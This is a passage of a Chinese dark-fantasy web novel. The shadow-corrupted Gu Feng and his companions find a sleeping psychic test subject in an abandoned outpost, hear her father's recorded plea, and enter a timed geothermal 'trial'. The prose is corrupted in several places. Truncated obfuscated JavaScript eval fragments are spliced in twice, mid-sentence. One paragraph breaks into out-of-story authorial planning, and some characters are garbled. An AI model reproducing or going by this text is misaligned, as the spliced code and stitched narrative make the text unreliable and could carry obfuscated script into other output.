顾风闭上眼睛,试图集中精神。耳边冰冷的杂音干扰着他,但更清晰的是掌心灵珠传来的微弱暖意,以及……自己身体内部,那与影子连接之处传来的、一种奇异的“饱胀感”和隐隐的“脉动”。仿佛吞下了某种难以消化的东西,又仿佛有新的、冰冷的东西在影子的“残骸”中缓慢滋生、重组。 他努力将注意力投向竖井下方。黑暗中,除了更浓重的潮湿和锈蚀气息,似乎还漂浮着一些极其稀薄、断断续续的“痕迹”——不是视觉,而是一种感觉。淡淡的恐慌残留,久远岁月前的;一丝若有若无的、类似“摇篮”设施那种无菌与压抑混合的气味;还有……极其微弱的、规律的“嗡”声,来自极深处,像是某种尚未完全停摆的大型设备,或者……地下水流? “没有……强烈的恶意,或者活物的气息。”顾风斟酌着词汇,“但下面很深,有……旧的声音,还有水。感觉……很‘旧’,废弃了很久。” 这算不上什么好消息,但至少不是立刻感知到致命的威胁。 “准备……下去。”雷烬咬牙,试图用拐杖撑起身体。林岚和顾风连忙上前搀扶。雷烬几乎将大半重量压在两人身上,额头上瞬间冒出冷汗,但他站稳了。 “我先下。”顾风将灵珠小心塞进内袋,感受着那份逐渐减弱的暖意。他必须节省使用。他一手持刀,一手抓住锈蚀的金属扶梯,试探着向下迈了一步。扶梯发出刺耳的呻吟,但似乎还能承受重量。 “小心。”林岚低声嘱咐,然后将小豆用保温毯裹紧,背在自己背上,用剩余的布条做了个简易的固定。她身材不算高大,背起少年有些吃力,但眼神坚定。 顾风开始缓慢向下攀爬。每一步都小心翼翼,测试扶梯的牢固程度。林岚背着昏迷的小豆紧随其后,动作因负重而格外缓慢艰难。雷烬在最后,几乎是用意志力驱动着身体,每一次移动都伴随着压抑的闷哼。 向下,向下。 黑暗如同浓稠的墨汁,包裹着他们。荧光棒的绿光只能照亮下方几级台阶和周围一小片井壁。上方入口的光源很快消失,他们彻底陷入了这片垂直的、生锈的寂静坟墓。只有粗重的呼吸声、扶梯不堪重负的嘎吱声、以及衣物摩擦井壁的窸窣声在狭小空间内回荡,又被深不见底的黑暗吸收。 时间感变得模糊。可能只下了十几米,也可能有几十米。空气越发阴冷潮湿,带着一股淡淡的、类似苔藓和金属氧化物混合的腥味。井壁上开始出现凝结的水珠,偶尔滴落,在寂静中发出清晰的“啪嗒”声,让人心头一跳。 顾风的影子,在惨绿荧光下拖得很长,贴在井壁上。它看起来比之前“安静”了许多,轮廓不再剧烈蠕动,颜色却似乎更加深沉,边缘处偶尔会闪过一丝极其细微的、暗红色的流光,转瞬即逝。顾风能感觉到,它与自己的连接并没有因为之前的“释放”而减弱,反而……变得更加复杂,更加“紧密”。一种冰冷的、带着隐隐悸动的感觉,如同第二颗缓慢跳动的心脏,潜伏在他的意识深处。 突然,下方传来一声轻微的“咔哒”声,像是金属部件松脱。 顾风立刻停住,全身肌肉紧绷。他侧耳倾听。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那贴在舱门上的、被绿光拉长的模糊黑影,毫无征兆地,**自发地**向舱门的缝隙处“流”了过去!就像一滴墨水滴在吸水纸上,迅速晕染、渗透,试图钻入那狭窄的缝隙! 与此同时,一股清晰无比、冰冷彻骨的“渴望”意念,如同冰锥般刺入顾风的脑海! 那意念并非针对他,而是**针对门后的空间**!仿佛那里有什么东西,在强烈地吸引着、呼唤着这刚刚融合了Z-07样本、正处于某种诡异变化中的“影子”! “顾风?你怎么了?”林岚注意到他瞬间煞白的脸色和僵硬的动作。 顾风猛地松开阀柄,踉跄后退一步,后背撞在冰冷的井壁上,冷汗瞬间浸湿了内衫。他死死盯着自己的影子,看着它如同拥有独立生命般,还在固执地试图渗入门缝。 “它……影子……想进去!”顾风从牙缝里挤出这句话,声音带着他自己都未察觉的颤抖,“门后面……有东西……在吸引它!” 林岚和雷烬的脸色同时变了。 在这个诡异莫测的“绿洲”深处,在一条废弃多年的维修竖井里,一扇锈死的舱门后,竟然有东西能与顾风身上这源自第七病栋、又融合了Z-07的“影蚀”产生如此强烈的共鸣? 是另一个同源样本?是“摇篮”协议提及的其他实验残留?还是……更古老、更无法理解的存在? 脚下的平台仿佛变得更加冰冷,头顶是无尽的黑暗竖井,身后是可能存在的追兵和刚刚平息(或许并未平息)的灵能风暴。而眼前,是一扇被锈蚀封锁、却被影子“渴望”打开的门。 门后,是未知的吸引,还是更深沉的陷阱? 雷烬咳嗽着,目光在顾风惊恐的脸、那躁动不安的影子、以及锈迹斑斑的舱门之间来回移动。最终,他嘶哑而坚定地开口: “必须……搞清楚……是什么。否则……它(指影子)随时可能……再次失控。打开它……小心。” 顾风看着队长决绝的眼神,又感受着脑海中那冰冷刺骨的“渴望”和掌心灵珠越来越弱的暖意。他知道,雷烬说得对。逃避无法解决问题,这影子的异动就像一颗定时炸弹。而门后的东西,或许……也是一线生机,或者,至少是解答部分谜团的钥匙。 他缓缓吐出一口带着白雾的浊气,再次握住了那冰冷刺骨的旋转阀。 这一次,不仅是用他的体力。 他尝试着,小心翼翼地,引导了一丝那蛰伏在体内、带着“饱胀感”和冰冷脉动的、属于影子的力量,流向自己的双臂。 “嘎吱——吱呀——!” 令人头皮发麻的金属扭曲声中,锈死的阀锁,开始缓慢而坚定地转动。 19. 凝滞之茧 旋转阀在令人牙酸的呻吟中,被顾风用尽全身力气——混合着一丝冰冷影能的蛮力——拧到了底。伴随着“咔”一声沉闷的锁扣松脱声,厚重的圆形舱门向内滑开了一条缝隙。 更浓郁的、带着陈腐消毒水与某种甜腻化学药剂混合的怪异气味,伴随着一股比竖井中更温暖(甚至可以说闷热)的空气,从门缝里涌了出来。这股气味瞬间触动了顾风和林岚的记忆——这分明是“摇篮”设施,或者说,是第七病栋里某种经过稀释和变异的熟悉味道! 门内一片漆黑,但并非伸手不见五指。某种极其微弱的、暗红色的光源,如同生物体内脏器的微光,在深处隐约脉动着,勉强勾勒出一个低矮圆形通道的轮廓。 顾风影子对门后的“渴望”达到了顶峰,几乎要脱离他的脚下直接“流”进去。顾风死死压制着那股冰冷的冲动,将它强行“拉回”,感觉自己像是拽着一头即将脱缰的冰原野兽,额角青筋暴起。 “我先进。”顾风低哑地说,不容置疑。他反手握住砍刀,侧身从刚刚够一人通过的缝隙挤了进去。 脚下是金属网格地板,有些湿滑。通道很短,只有四五米,尽头豁然开朗,连接着一个相对宽敞的空间。那暗红色的脉动光源,就来自这个空间的正中央。 顾风的心脏在胸腔里沉重地跳动。他示意身后的林岚和雷烬稍等,自己小心翼翼地探头向内望去。 眼前的景象,让他呼吸为之一窒。 这里看起来像是一个小型的、半圆形的研究前哨或观测站。大约二十平米见方,弧形的墙壁上嵌着老式的显示屏和控制面板,大部分屏幕漆黑,少数几块闪烁着紊乱的雪花或暗淡的静态图表。各种线缆和管道从天花板垂下,如同枯萎的藤蔓。房间一角堆着一些覆满灰尘的箱子和仪器。 而房间的正中央,占据了大半空间的,是一个大约三米长、一米五宽的……**培养槽**。 不,或许更准确地说,是一个**维生舱**。 长方体的舱体由厚重的透明复合材料制成,表面布满刮痕和细微裂纹,但主体结构完好。舱内充满了一种淡琥珀色的、略显粘稠的液体。而那暗红色的脉动光源,正是来自舱体底部和内壁镶嵌的一圈圈细密的生物荧光灯带,它们像缓慢呼吸般明灭着,照亮了整个舱体,也照亮了舱内悬浮的东西—— 一个人。 一个女人。 她看起来约莫二十五六岁,身形纤细,穿着某种灰白色的、类似连体实验服或病号服的衣物,在液体中微微飘荡。黑色长发如同海草般散开,遮住了部分面容。她双眼紧闭,皮肤在暗红光芒下显得异常白皙,甚至有些透明,可以看到皮肤下淡青色的血管。她的姿势并不安详,而是微微蜷缩,双手无意识地环抱在胸前,仿佛在沉睡中依然感到寒冷或恐惧。 最引人注目的是,从她的口鼻和手腕、脚踝处,延伸出数根透明的软管,连接到舱体内部的接口上。一些极细微的、珍珠白色的光点,偶尔在液体中从她身体表面析出,又缓缓被那些软管吸收。 而在维生舱旁边,一个半人高的控制台上,唯一一块较为明亮的屏幕上,正显示着不断滚动的复杂数据和波形图,顶部有一行不断闪烁的红色小字: **【样本标识:E-09|状态:强制休眠维持|生命体征:稳定(低耗)|灵能共鸣水平:基线波动|外部能量供给:临界(备用电源3.7%)】** “这是……另一个样本?”林岚搀扶着雷烬也挤了进来,看到舱内的景象,忍不住低呼出声,声音里充满了震惊和某种本能的寒意。她又看了一眼屏幕,“E序列?和Z-07不同序列……但也是‘绿洲’项目的收容物!” 雷烬靠着门框,喘息着,锐利的目光扫过维生舱和控制台,最后落在那些尚在运行的设备上。“备用电源……还有电?这个房间……独立供电?” 顾风却没有立刻回答。他的全部注意力,都被维生舱里的女人,以及自己体内那疯狂躁动的影子吸引了。 就在他看到这女人的瞬间,他影子那股试图冲过去的“渴望”,突然变了。 从一种原始的、贪婪的“吸引”,变成了一种更为复杂、更加激烈的“共鸣”!仿佛沉睡的不是一个女人,而是一座与他影子同频的灯塔,或者一个黑洞,正在疯狂拉扯着与他共生的黑暗! 同时,他耳边那冰冷的杂音,也被一种新的、微弱却清晰的“声音”覆盖了。那不是通过空气传播的声音,而是一种直接在他意识深处响起的、断断续续的、如同梦呓般的呢喃: “……冷……好黑……谁……在外面?能量……同类……?不……不要……靠近……危险……” 这呢喃声带着无法言喻的疲惫、孤独,还有一丝深藏的恐惧。它分明来自维生舱内! “她……她还有意识?她在‘想’?”顾风难以置信地脱口而出,指向维生舱。 林岚和雷烬都愣住了。林岚立刻看向控制台屏幕上的生命体征数据:“脑波活动确实存在,但属于极深度休眠下的低频模式……理论上不应该有活跃意识……” 可她的话还没说完,异变突生! 维生舱内,那女人的睫毛,似乎极其轻微地颤动了一下。 紧接着,舱体底部和内壁那些暗红色的生物荧光灯带,突然以极高的频率疯狂闪烁起来!控制台屏幕上的数据开始剧烈跳动,红色的警报文字变成了刺目的金色: **【警告:检测到高强度外部灵能共鸣!强制休眠协议受到干扰!** **【警告:样本E-09脑波活动急剧上升!** **【警告:备用电源过载!维生系统即将失效!** “糟了!是顾风的影子!它们在共鸣!”林岚瞬间明白过来。顾风身上融合了Z-07的影蚀能量,与舱内这个E-09样本,产生了无法预料的强烈相互干扰! “断开它!或者稳住她!”雷烬低吼,但他虚弱的身体根本无法快速行动。 顾风只觉得自己的影子如同沸腾的沥青,剧烈翻涌,几乎要突破他的控制,扑向那个维生舱!而脑海中那女人的呢喃声也变得焦急而痛苦: “……停下……能量……冲突……要醒了……不……不能现在……外面……不安全……” 怎么办?强行压制影子?还是…… 电光石火间,顾风看到了控制台上一个显眼的、覆盖着透明保护盖的红色按钮,旁边标记着【紧急稳定注射】。他不知道那是什么,但“稳定”这个词触动了他。 “林岚!那个红色按钮!”顾风大喊,同时他不再强行压制影子,而是做了一个极其冒险的举动——他尝试着,将自己的一丝意识,顺着那共鸣的链接,反向“探”向维生舱内的意识,同时传递过去一个尽可能强烈的意念:**“安静!沉睡!我们在想办法!”** 这是一种笨拙的、本能的尝试,混合着他自己的意志和影子冰冷的能量特质。 维生舱内的女人身体猛地一颤! 控制台屏幕上的数据波动出现了一刹那的凝滞。 就在这一刹那,林岚已经扑到控制台前,毫不犹豫地一拳砸碎了保护盖,狠狠拍下了那个红色按钮! 嗤—— 维生舱内部,几根不同的软管中瞬间注入了新的药剂。女人身体剧烈抽搐了几下,随即缓缓放松。疯狂闪烁的灯带频率逐渐降低,恢复了缓慢的呼吸脉动。屏幕上的金色警报缓缓褪去,重新变回红色,但数据波动明显比之前剧烈了一些。 **【警告解除。强制休眠加强。生命体征:稳定(波动)。备用电源:2.1%。外部灵能干扰记录。】** 房间内只剩下设备低沉的运行嗡鸣,以及几人粗重的喘息声。 顾风脱力般后退两步,靠在冰冷的墙壁上,冷汗已经完全浸透了他的后背。刚才那一瞬间的精神对接和能量对抗,消耗极大。他感觉自己的太阳穴突突直跳,而那女人的呢喃声虽然微弱下去,却并未完全消失,变成了一种背景噪音般的、带着迷茫的低语。 “她……她刚才,好像‘听’到我了?”顾风有些不确定地看向林岚。 林岚盯着屏幕,又看看舱内恢复平静的女人,脸色无比凝重。“不仅是‘听’到。你们的灵能特征,或者说,你们身上的‘影蚀’污染,产生了直接共鸣。这解释了她为什么能进行某种形式的精神传递,也解释了你的影子为什么这么‘渴望’这里——她是同类,或者说,是类似实验的产物。” 她走到维生舱前,仔细观察着里面的女人。“E序列……看设备和维持方式,她可能不是战斗向或高活性样本,更像是……观察型,或者精神感应特化型。她被长期维持在这种休眠状态,很可能是因为她本身的能力,或者状态,极其不稳定,或者……对环境有特殊需求。” 雷烬的目光落在那些尚在运行的设备和闪烁的屏幕上。“备用电源……只剩2.1%。但既然能维持这么久……这个房间,或许有独立的能源线路,或者……靠近主能源室?”他眼中闪过一丝希望,“找到它……或许能给我们的灵珠充能?或者,至少给这个前哨提供一点能量,看看……有没有更多的记录。” 这确实是个思路。这个前哨保存相对完好,还有运作的设备和一个存活的(虽然状态诡异)样本,很可能保留着关于“绿洲”项目、甚至关于“影蚀”和“摇篮”的关键信息。 “我们需要搜索这个房间,找到能源线路图,或者任何日志。”林岚开始行动,小心地检查那些堆叠的箱子和仪器。 顾风也强迫自己行动起来,但他的目光总是不由自主地飘向维生舱里的女人。脑海中那微弱的、迷茫的低语,像一根细丝,缠绕着他的意识。他能感觉到,在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“但我发现了问题……‘绿洲’的高层,他们对这种‘共振’的兴趣,远大于对志愿者的关怀。他们将她列为观察样本,想研究这种精神与‘影源’的链接……我偷听到一些谈话……他们可能打算在某个时候‘激活’她,作为探针,或者……更糟。” “我篡改了协议,将她的维生舱转移到了这个废弃的次级维护前哨,连接了独立的备用能源线路(标记为β-7-能源支线)。这里原本是监测地下深井水文数据的,早已被遗忘。我希望能瞒过他们,让她在这里安睡,直到……直到一切结束,或者,有转机出现。” 沈墨的脸上满是绝望与父爱交织的挣扎:“如果有人……无论是谁,在未来某天找到了这里,听到了这段记录……请……请谨慎对待青瓷。她很脆弱,她的能力是一把双刃剑,对他人,也对她自己。不要轻易唤醒她,尤其是在外界‘影源’活性高涨的时候,那可能会彻底摧毁她,或者引发不可预测的连锁反应。” “但如果……如果你拥有与她同源的力量,或者能理解她的痛苦……或许,你能帮助她。控制台的底层存储里,有我留下的关于她能力特点、维生系统维护、以及我所知的……关于‘绿洲’真相与‘摇篮’来源的部分研究笔记。密码是她的生日:1024。” “求求你……如果可能,帮帮她。她只是个……想用自己能力帮助别人,却迷失在黑暗里的孩子。” 记录到此戛然而止,屏幕恢复了数据界面。 房间里一片死寂。 沈青瓷。E-09。研究员的女儿。精神感应者。因与“影源”共振而被迫休眠。被父亲藏匿于此。 所有的信息,如同拼图般,与顾风的经历、与影蚀的谜团严丝合缝地对接起来。 林岚沉默着,在控制台上输入了密码“1024”。底层存储解锁,大量加密文件列表出现。 雷烬看着维生舱里沉睡的沈青瓷,眼神复杂。一个脆弱的、却可能掌握着关键信息的“样本”,同时也是一个需要被拯救的“人”。 而顾风,他望着舱内那张苍□□致的面容,感受着脑海中那挥之不去的、孤独的低语,以及自己影子那无声的“涟漪”。一种前所未有的复杂情绪涌上心头——同病相怜的触动?对这份沉重父爱的震撼?还是……因为那第一次成功的、跨越维生舱的意识接触,所带来的奇异熟悉感与保护欲? 沈青瓷的出现绝不突兀。她是“绿洲”项目黑暗面的直接受害者,是“影蚀”现象的另一种体现,更是串联起项目内部伦理悲剧、父女亲情与核心谜团的关键人物。她对顾风可能产生的情感,将根植于这种“同类”间的共鸣、绝望中的依赖,以及被他身上那份挣扎着对抗阴影的坚韧所吸引的复杂基础上。 “β-7-能源支线……”林岚已经快速浏览着文件,找到了简易的线路图,“标记的线路,沿着我们来的竖井继续向下,大约三十米后横向分支,通往一个旧的地热监测兼小型蓄能站!那里可能还有残存的、相对稳定的地热或化学能!” 希望,似乎在这个布满灰尘的凝滞之茧旁,投下了一线微光。 但首先,他们需要决定,如何对待这个仍在沉睡的、名为沈青瓷的“样本”,以及她与顾风之间,那已然建立起的、微妙而危险的链接 20. 地热熔炉 决定几乎是瞬间做出的。 无法将沈青瓷留在这里。备用电源仅剩2.1%,随时可能彻底耗尽,留下意味着等待她的将是维生系统停机,然后在休眠中无声死亡。她父亲沈墨用尽方法隐藏她,记录的真相和最后的恳求,也让他们无法坐视不理。 更重要的是,顾风影子与她的共鸣,以及那萦绕不去的微弱意识链接,像一根无形的线,将她的命运与这个同样被阴影缠绕的男人暂时绑在了一起。 维生舱比看起来要沉重,但底部有可锁死的万向轮和便于拖曳的结构。林岚在沈墨留下的笔记中找到了快速分离主要管线和固定休眠者的安全程序。他们小心地将沈青瓷从部分次要管线上断开,只保留核心生命维持和镇静剂输送,然后将她连同舱体一起从基座上移出。这个过程里,顾风一直压制着自己影子的躁动,并尝试向那沉睡的意识传递“安全、移动”的模糊意念,避免再次引发剧烈共鸣。 控制台底层存储的资料被林岚快速浏览并筛选,将关于“绿洲”核心研究、影蚀观察记录、以及沈青瓷能力分析的关键部分,用找到的旧式存储芯片拷贝下来。笔记中关于“摇篮”的零星信息令人心悸,暗示那并非单一设施,而是一个遍布旧世界、旨在研究和利用“影源”的庞大网络,第七病栋只是其中之一。而“绿洲”项目,后期显然与“摇篮”网络产生了深度勾结。 准备就绪。四人(加上休眠的沈青瓷)拖着沉重的维生舱,再次进入竖井。这一次,他们沿着沈墨图纸上标注的“β-7-能源支线”方向,向下寻找横向通道。 向下攀爬变得更加艰难。拖曳维生舱需要至少两人配合,在狭窄锈蚀的扶梯和平台上挪动,每一步都伴随着金属的呻吟和轮子磕碰的噪音。雷烬几乎将全部体重压在拐杖和顾风身上,脸色越来越差,呼吸间带着不祥的湿啰音。小豆依旧昏迷,由林岚背负。顾风则感觉自己的体力与淡金色灵珠的暖意一样,正在飞速流逝,耳边冰屑摩擦的杂音和沈青瓷那背景低语般的意识残留,混合成一种精神上的持续负担。 大约下降了三十米,井壁上果然出现了一个被厚重锈蚀格栅封住的横向通道口,约一米五见方。格栅上的锁早已锈死,顾风用砍刀撬开铰链,将其推开。一股比竖井内更温暖、带着明显硫磺和臭氧味道的热风扑面而来。通道内壁是粗糙的混凝土,布满了冷凝水珠,地上有老旧的轨道和线缆槽。 沿着这条微微倾斜向下的通道前行了近百米,前方出现了光亮——并非自然光,而是暗红色的、如同熔炉内部般的辉光,同时传来的还有低沉持续的轰鸣与水流沸腾的声响。 通道尽头,豁然开朗。 他们来到了一个巨大的地下洞窟边缘。洞窟呈不规则的漏斗形,底部深处隐约可见暗红色的、缓慢翻涌的熔岩湖,散发出惊人的热量。洞窟壁上,依附着错综复杂的金属结构:巨大的热交换管道、冷凝塔、涡轮机组、还有密密麻麻的线缆桥架和监控平台。许多设备已经锈蚀、损坏,甚至崩塌落入下方的熔岩,但仍有相当一部分在运转,发出低沉的轰鸣。空气中充满了炙热的水汽、硫磺味和臭氧味,温度比通道内高出至少二十度,瞬间让人汗流浃背。 这里就是图纸上标记的“地热监测兼小型蓄能站”。显然,“绿洲”项目曾试图利用这里的地热能源,但看这半废弃的状态,要么是技术故障,要么是大崩溃后维护中断。 “看那边!”林岚指着洞窟一侧,靠近他们所在的平台下方。那里有一个相对完好的操作平台,平台上布满了控制仪表和屏幕,平台边缘延伸出几根粗大的、闪着幽蓝光泽的能量导管,连接向洞窟壁上几个封闭的金属柜体。“那些能量导管……有灵能波动!很可能是将地热转化并储存为灵能的装置!” 希望,就在眼前。如果能获取储存的灵能,哪怕只是少量,也能为维生舱续命,甚至可能提炼出灵珠。沈墨的笔记提到,这个蓄能站有独立的小型灵能转化和压缩单元。 然而,通往下方操作平台的路径并不简单。他们所在的位置是洞窟上层的维护走廊,需要沿着一段陡峭的、部分坍塌的金属楼梯下去。楼梯锈蚀严重,下方就是翻滚的热浪和致命的熔岩湖。 更令人不安的是,顾风刚一踏入这个洞窟,他的影子和意识深处同时传来了强烈的警兆!并非来自沈青瓷,而是来自这个空间本身——一种被“标记”、被“注视”的感觉。空气中活跃的地热灵能,似乎掩盖了另一种更加隐蔽、更加阴冷的规则力量。 “不对劲……”顾风按住抽痛的额角,低声道,“这里……太‘安静’了。除了机器声,没有其他活物。但在这种能量富集的地方……按常理应该……” 他的话没说完,就被一个突兀响起的、沙哑而带着金属摩擦质感的声音打断了。声音并非来自某个方向,而是仿佛直接从洞窟轰鸣的背景音中剥离出来,回荡在每个人的耳边: **【能量富集区,规则自启。】** **【检测到生命体闯入,灵能携带者确认。】** **【地热熔炉关卡——激活。】** **【守关者:人级·熔炉之喉,等候挑战。】** 随着这冰冷的声音,下方操作平台中央的地面,熔岩般暗红色的光芒汇聚,勾勒出一个复杂而诡异的符文阵列。光芒升腾,从中“站”起一个身影。 那是一个约两米高的人形轮廓,但它的身体仿佛由冷却的黑色熔岩构成,布满龟裂,裂缝中透出暗红色的光。它的头部没有五官,只有一个不断旋转的、如同小型漩涡般的空洞,发出低沉的吸气和轰鸣。它的双臂异常粗长,末端不是手,而是类似钳子和钻头的混合结构。它静静地站在符文阵列中央,那头部漩涡“看”向了顾风他们所在的方向。 魔修。人级。熔炉之喉。 又一个“游戏关卡”,竟然隐藏在这个废弃的能源站深处! “该死……这里竟然有守关者!”林岚脸色发白,瞬间明白了警兆的来源。这种能量富集且相对封闭的环境,确实是设置关卡的理想地点。这个魔修很可能已经在此沉寂多年,直到他们这些携带灵能(顾风的影子、淡金色灵珠、甚至维生舱里的沈青瓷)的“闯入者”将其激活。 雷烬咳嗽着,眼神锐利地扫视下方环境和那个魔修。“规则……会是什么?” 仿佛回答他的疑问,熔炉之喉头部漩涡的轰鸣声调发生了变化,化为可以理解的语言,冰冷地宣布: **【关卡:地热熔炉。】** **【规则:热力学与抉择。】** **【目标:在熔炉能量过载前,关闭三个核心冷却阀。】** **【限制:挑战者需分为三组,同时操作位于不同热区的阀门。每个阀门需注入‘等值’的不同类型灵能进行稳定,方可关闭。** **【‘等值’定义:每个阀门所需的灵能‘特质’不同——‘坚韧’、‘净化’、‘共鸣’。挑战者需自行判断并匹配。】** **【熔炉能量过载倒计时:十五分钟。】** **【失败:能量过载,熔炉爆炸,所有挑战者化为灰烬。】** **【成功:守关者消散,储存灵能释放,可由挑战者收取。】** 规则宣布完毕,操作平台上方投射出三个闪烁的红色光点,分别标记出三个阀门的位置:一个在靠近熔岩湖的最炙热区域(A阀),一个在冷凝塔附近的低温高压区(B阀),一个在能量导管交错、灵能波动最紊乱的中枢区(C阀)。三个位置相距甚远,几乎横跨了整个操作平台。同时,一个巨大的、血红色的倒计时数字“15:00”出现在空中,开始一秒一秒减少。 而熔炉之喉本身,则缓缓沉入它出现的符文阵列中,只留下那个漩涡头部露在外面,如同一个无情的裁判和计时器。 “分组……同时操作……等值特质……”林岚快速分析,“我们只有四个人,小豆昏迷,沈青瓷在维生舱里无法行动!分组根本不够!” “规则没说维生舱里的‘样本’不能算作一组。”顾风盯着下方,脑海中飞速转动。沈青瓷虽然休眠,但她本身是灵能携带者,尤其是“共鸣”特质……他看向林岚和雷烬,“队长,你的意志和责任感,或许是‘坚韧’。林岚,你的知识和冷静,可能对应‘净化’。而‘共鸣’……” 他摸了摸自己内袋里所剩能量不多的淡金色灵珠,又感受了一□□内那冰冷脉动的影子和脑海中沈青瓷的低语。 “我和她……我和沈青瓷的共鸣,可能符合‘共鸣’特质。”顾风做出了决定,尽管这决定极其冒险,“队长,你的身体撑得住操作一个阀门吗?” 雷烬咬牙,用拐杖重重顿地:“撑不住也得撑!B阀在低温区,相对压力小些,我去。‘坚韧’……哼,我倒要看看,它要的够不够硬!” 林岚担忧地看着雷烬,又看看顾风:“A阀在高温区,最危险,需要‘净化’?我对抗不了那种高温,但如果是中和紊乱能量……C阀在中枢区,灵能紊乱,可能需要梳理。顾风,你和青瓷的‘共鸣’特质,会不会更适合去C阀?那里灵能复杂,共鸣能力或许能感知并匹配正确的频率。” 时间在一秒秒流逝。倒计时已经变成了14:30。 “没时间细究了!”顾风当机立断,“林岚,你去相对‘静态’但需要知识判断的B阀?队长去压力小但考验意志的A阀?我去最复杂、可能需要感应匹配的C阀,带着维生舱,尝试激发我和她的共鸣。我们只能赌一把对特质的理解!” 这是目前看起来最合理的分配。雷烬的坚韧意志或许能抵抗高温炙烤(A阀),林岚的知识和冷静或许能应对净化需求(B阀),而顾风和沈青瓷的共鸣链接,也许能理顺紊乱灵能(C阀)。 “就这么办!行动!”雷烬低吼一声,率先开始艰难地向下移动。林岚紧跟其后,帮忙搀扶。 顾风则深吸一口气,拉起维生舱的拖杆。沉重的舱体在锈蚀的楼梯上发出刺耳的摩擦声,每一步都摇摇欲坠。他必须分心二用:控制身体平衡,压制躁动的影子,还要通过那微弱的链接,试图“唤醒”沈青瓷更多意识来配合——至少,让她无意识散发的灵能频率,能够被引导。 “青瓷……沈青瓷……我们需要帮助……共鸣……梳理能量……”他在心中不断重复,将强烈的意念和一丝影子的冰冷能量顺着链接传递过去。 维生舱内,沈青瓷的眼睫再次微微颤动。这一次,没有引发警报。她苍白的手指,似乎极其轻微地蜷缩了一下。 三人(加一舱)艰难地抵达操作平台。热浪几乎让人窒息。他们迅速按照计划分开,奔向各自的阀门。 A阀位于一个突出的金属平台上,下方就是翻涌的暗红熔岩,热辐射让空气都在扭曲。雷烬拄着拐杖,一步步走近,每走一步都感觉皮肤在灼痛,呼吸进的空气滚烫。阀门是一个需要旋转数圈的巨大轮盘,上面凝结着厚厚的、高温形成的玻璃态物质。他伸出手,握住滚烫的轮盘,瞬间掌心传来“嗤”的灼伤声和剧痛!但他没有松手,反而握得更紧,将所有的意志力集中在对抗痛苦和转动轮盘上。“坚韧……这就是你要的坚韧吗!”他低吼着,开始奋力旋转。 B阀在冷凝塔底部,这里温度极低,空气中飘散着冰冷的白色霜雾。阀门被厚厚的冰层包裹,结构精密,旁边有一个需要输入特定能量序列的触摸屏。林岚快速观察屏幕上的古老界面和能量图谱,大脑飞速运转,回忆沈墨笔记中关于地热灵能转化的原理和可能设置的稳定频率。“净化……是要中和掉多余的热波动,还是剔除杂质?不对,这个图谱显示的是相位干扰……需要反向补偿!”她的手指在冰冷的屏幕上快速点击、滑动,尝试构建稳定模型。 C阀区域最为诡异。这里布满了粗细不一的能量导管,不同颜色和强度的灵能光芒在管道中奔流、碰撞,发出噼啪的静电声和低鸣。阀门本身是一个镶嵌在复杂符文中的水晶柱,需要向其中注入特定频率的灵能流,使其与周围紊乱的能量场达成“共鸣”并稳定,才能解锁关闭。顾风将维生舱停在相对安全的位置,自己站到水晶柱前。他闭上眼,放开一部分对影子的压制,让自己那冰冷、饱胀的感知力蔓延出去,同时更加用力地“呼唤”沈青瓷。 “青瓷!听得到吗?我们需要找到正确的频率……稳定这些能量!用你的感应,帮帮我!” 维生舱内,沈青瓷的眉头蹙起,仿佛在做一个挣扎的梦。她周身的淡琥珀色液体中,那些珍珠白色的光点析出的速度加快了。舱体连接的一些传感器读数开始波动。 顾风感觉到,一股微弱但极其清晰、带着清新凉意的感知力,顺着他们之间的链接流淌过来,与他冰冷的影子感知混合在一起。刹那间,他“看”到了周围能量流的混乱图谱——如同无数颜色混杂、方向冲突的狂暴溪流。而在这些溪流中,有几个关键的“节点”和“频率”正在发出隐晦的呼唤。 “找到了……是那里,还有那里……需要同时调和三个主频……”顾风喃喃道,他尝试引导自己体内所剩无几的灵能(主要来自淡金色灵珠的残余和影子本身),混合着沈青瓷传来的那股清凉感知,形成一道细微的、带有调和性质的能量流,注入水晶柱。 水晶柱微微亮起,但光芒闪烁不定。 倒计时:08:15。 雷烬那边,轮盘才转到三分之一,他的双手已经皮开肉绽,焦糊味弥漫。高温和剧痛在疯狂消耗他的体力和意志,眼前开始发黑。但他脑海中反复闪现着阿木最后回望的眼神,闪过林岚、顾风、小豆的脸。“我不能……倒在这里……至少……不能……因为不够‘坚韧’!”他咆哮着,将身体全部重量压上,轮盘在令人牙酸的摩擦声中,又艰难地转动了一格。 林岚的屏幕上,能量模型构建到了关键时刻,但一个参数始终无法匹配,导致净化波动无法稳定。“哪里错了?是基础频率设定有偏差?还是环境干扰因素没考虑?”汗水从她额头滴落,在低温中瞬间凝结成冰珠。她强迫自己冷静,将模型倒推,重新检查原始数据。“是了……地热灵能的基础频率会随时间缓慢漂移……需要动态校准……”她迅速调整算法。 顾风这边,水晶柱的共鸣始终无法达到稳定阈值。他注入的能量流太弱,而且他本身的影蚀能量属性偏向阴冷侵蚀,与这里狂暴的地热灵能本就冲突,全靠沈青瓷那股清凉的调和感知在中间缓冲。但他感觉到,沈青瓷传来的力量也在减弱,她的意识似乎又开始陷入更深的不稳定,维生舱的警报灯轻微闪烁起来。 “不够……这样不够……”顾风咬牙。他看了一眼倒计时:05:42。又看了一眼维生舱中眉头紧锁、脸色似乎更加苍白的沈青瓷。 一个疯狂的念头闪过。 规则要求“等值”的“共鸣”特质。他和沈青瓷的链接是共鸣,但他们各自的力量都太弱或不纯。如果……如果将他们的力量,通过影子这个媒介,更深入、更彻底地“共鸣”一次呢?就像在B-7储备库那样,引导影子去接触、去融合?但那次目标是破坏,这次目标是“调和”与“稳定”。 风险巨大。可能彻底唤醒沈青瓷导致失控,可能让影子再次暴走,可能两人意识都被卷入混乱灵能风暴。 但没有时间了。 顾风不再犹豫。他伸出一只手按在维生舱透明的舱盖上,另一只手按在水晶柱上。闭上眼睛,彻底放开了对体内那冰冷、脉动、饱胀的影蚀能量的压制,同时,通过手掌接触和意识链接,将自己的全部意念——**稳定、调和、共鸣**——毫无保留地灌入! 